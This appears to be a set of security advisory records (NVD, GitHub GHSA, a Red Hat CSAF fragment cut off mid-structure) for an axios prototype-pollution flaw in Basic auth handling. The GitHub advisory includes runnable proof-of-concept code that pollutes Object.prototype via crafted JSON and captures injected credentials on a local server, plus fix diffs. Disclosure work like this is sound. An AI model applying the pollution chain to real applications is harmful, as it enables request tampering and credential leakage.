{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:npm/axios",
          "product": "axios",
          "vendor": "axios",
          "versions": [
            {
              "lessThan": "1.18.0",
              "status": "affected",
              "version": "1.15.2",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "1.18.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "6FB01C7C-87AA-49E4-ABCE-504EAA17D65A",
              "versionEndExcluding": "1.18.0",
              "versionStartIncluding": "1.15.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "axios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound \u0027Authorization: Basic ...\u0027 header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions."
    }
  ],
  "id": "CVE-2026-67314",
  "lastModified": "2026-09-01T15:40:20.437",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.5,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "LOW",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-67314",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-03T18:04:28.314777Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-01T13:17:01.407",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
    },
    {
      "source": "disclosure@vulncheck.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.18.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-07T17:51:06Z",
    "nvd_published_at": "2026-08-01T13:17:01Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-xj6q-8x83-jv6g. This link is maintained to preserve external references.\n\n## Original Description\naxios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound \u0027Authorization: Basic ...\u0027 header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.",
  "id": "GHSA-38gx-cfqf-f652",
  "modified": "2026-08-07T17:51:34Z",
  "published": "2026-08-01T15:30:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Axios: Prototype pollution auth subfields can inject Basic auth",
  "withdrawn": "2026-08-07T17:51:06Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.2"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T17:51:17Z",
    "nvd_published_at": "2026-08-06T22:18:25Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios\u2019 runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own(\u0027auth\u0027)`, but then reads subfields directly:\n\n```js\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n  const username = configAuth.username || \u0027\u0027;\n  const password = configAuth.password || \u0027\u0027;\n  auth = username + \u0027:\u0027 + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    \u0027Authorization\u0027,\n    \u0027Basic \u0027 +\n      btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nObject.prototype.username = \u0027victim-user\u0027;\nObject.prototype.password = \u0027victim-password-leaked\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end(\u0027{}\u0027);\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` \u2014 an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too \u2014 i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737\u2013740** (Node http adapter):\n\n```js\nconst configAuth = own(\u0027auth\u0027);         // \u2190 top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || \u0027\u0027;   // \u2190 reads .username on the inherited chain\n    const password = configAuth.password || \u0027\u0027;   // \u2190 reads .password on the inherited chain\n    auth = username + \u0027:\u0027 + password;\n}\n```\n\n`own(\u0027auth\u0027)` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322\u2013324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027username\u0027) ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027password\u0027) ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739\u2013740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own(\u0027auth\u0027);               // \u2190 top-level guard OK\n...\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape \u2014 top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58\u201359** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // \u2190 direct read, not through own()\n    config.paramsSerializer   // \u2190 direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge \u2014\nthe canonical insecure backend pattern \u2014 exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\nconst defaultsDeep = require(\u0027defaults-deep\u0027);\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = [\u0027username\u0027, \u0027password\u0027, \u0027params\u0027, \u0027paramsSerializer\u0027];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input \u2014 what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027=== captured outbound request ===\u0027);\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end(\u0027{}\u0027);\n  server.close();\n  scrub();\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern \u2014 empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error(\u0027axios error:\u0027, e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation \u2014 same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes \u2014 amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own(\u0027auth\u0027);\n       if (configAuth) {\n-        const username = configAuth.username || \u0027\u0027;\n-        const password = configAuth.password || \u0027\u0027;\n+        const username = utils.hasOwnProp(configAuth, \u0027username\u0027) ? (configAuth.username || \u0027\u0027) : \u0027\u0027;\n+        const password = utils.hasOwnProp(configAuth, \u0027password\u0027) ? (configAuth.password || \u0027\u0027) : \u0027\u0027;\n         auth = username + \u0027:\u0027 + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, \u0027username\u0027) ? (auth.username || \u0027\u0027) : \u0027\u0027;\n+    const authPassword = utils.hasOwnProp(auth, \u0027password\u0027) ? auth.password : \u0027\u0027;\n     headers.set(\n       \u0027Authorization\u0027,\n       \u0027Basic \u0027 +\n-        btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n+        btoa(authUsername + \u0027:\u0027 + (authPassword ? encodeUTF8(authPassword) : \u0027\u0027))\n     );\n   }\n```\n\nThe **`params` / `paramsSerializer`** half is already handled by open\nPR #10922\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change \u2014 that\nPR should be rebased / merged.\n\n### Relationship to recent prototype-pollution work\n\nSame vulnerability class as the existing public hardening, just at\nsub-field granularity:\n\n- [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) \u2014 `mergeConfig` direct-key reads. **Fixed in v1.15.2.**\n- [PR #10761](https://github.com/axios/axios/pull/10761) \u2014 `mergeDirectKeys` `in` \u2192 `hasOwnProp`. **Fixed in v1.15.x.**\n- [PR #10833](https://github.com/axios/axios/pull/10833) \u2014 proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.**\n- [PR #7413](https://github.com/axios/axios/pull/7413) \u2014 `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.**\n- [PR #10901](https://github.com/axios/axios/pull/10901) \u2014 `socketPath` guard. **Merged 2026-05-24.**\n- [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) \u2014 `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.**\n\nThis report adds: regular-request `auth.username` / `auth.password`\nsub-field reads in both the http adapter (lines 737\u2013740) and\nresolveConfig.js (line 68).\n\n### Reporter notes\n\n- Reported as part of a small peer-review bundle of runtime security\n  findings. The bundle\u0027s public tracking entry (without the working\n  exploit chain) is at\n  [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md).\n- I\u0027m happy to submit the patch as a PR if that helps. Or, if you\u0027d\n  prefer to fold this into open PR #10922 (whose author is actively\n  responding to comments), please let me know and I\u0027ll coordinate.\n- Threat model honesty: this is **amplifier framing** \u2014 exploitation\n  requires a separate prototype-pollution primitive elsewhere in the\n  host process. That\u0027s how the existing GHSA-q8qp-cvcw-x6jj and\n  PR #10833 were framed too, so the precedent for \"in-scope as a\n  hardening fix\" is established.\n\u003c/details\u003e",
  "id": "GHSA-xj6q-8x83-jv6g",
  "modified": "2026-08-07T17:52:10Z",
  "published": "2026-07-20T17:51:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype pollution auth subfields can inject Basic auth"
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Critical"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\njaeger:\n  * jaeger-2.20.0-0.8.hum1 (aarch64, x86_64)\n  * jaeger-2.20.0-0.8.hum1.src (src)\n\nSecurity Fix(es):\n\njaeger:\n  * CVE-2026-62995",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:48758",
        "url": "https://access.redhat.com/errata/RHSA-2026:48758"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-62995",
        "url": "https://access.redhat.com/security/cve/CVE-2026-62995"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67314",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67313",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67321",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67321"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67312",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67312"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67320",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67320"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-73086",
        "url": "https://access.redhat.com/security/cve/CVE-2026-73086"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-27459",
        "url": "https://access.redhat.com/security/cve/CVE-2026-27459"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48758.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
    "tracking": {
      "current_release_date": "2026-09-06T18:47:20+00:00",
      "generator": {
        "date": "2026-09-06T18:47:20+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:48758",
      "initial_release_date": "2026-07-30T11:11:12+00:00",
      "revision_history": [
        {
          "date": "2026-07-30T11:11:12+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-09-04T00:36:24+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-09-06T18:47:20+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "jaeger-main@aarch64",
                "product": {
                  "name": "jaeger-main@aarch64",
                  "product_id": "jaeger-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/jaeger@2.20.0-0.8.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "jaeger-main@src",
                "product": {
                  "name": "jaeger-main@src",
                  "product_id": "jaeger-main@src",
                  "product_identification_helper": {
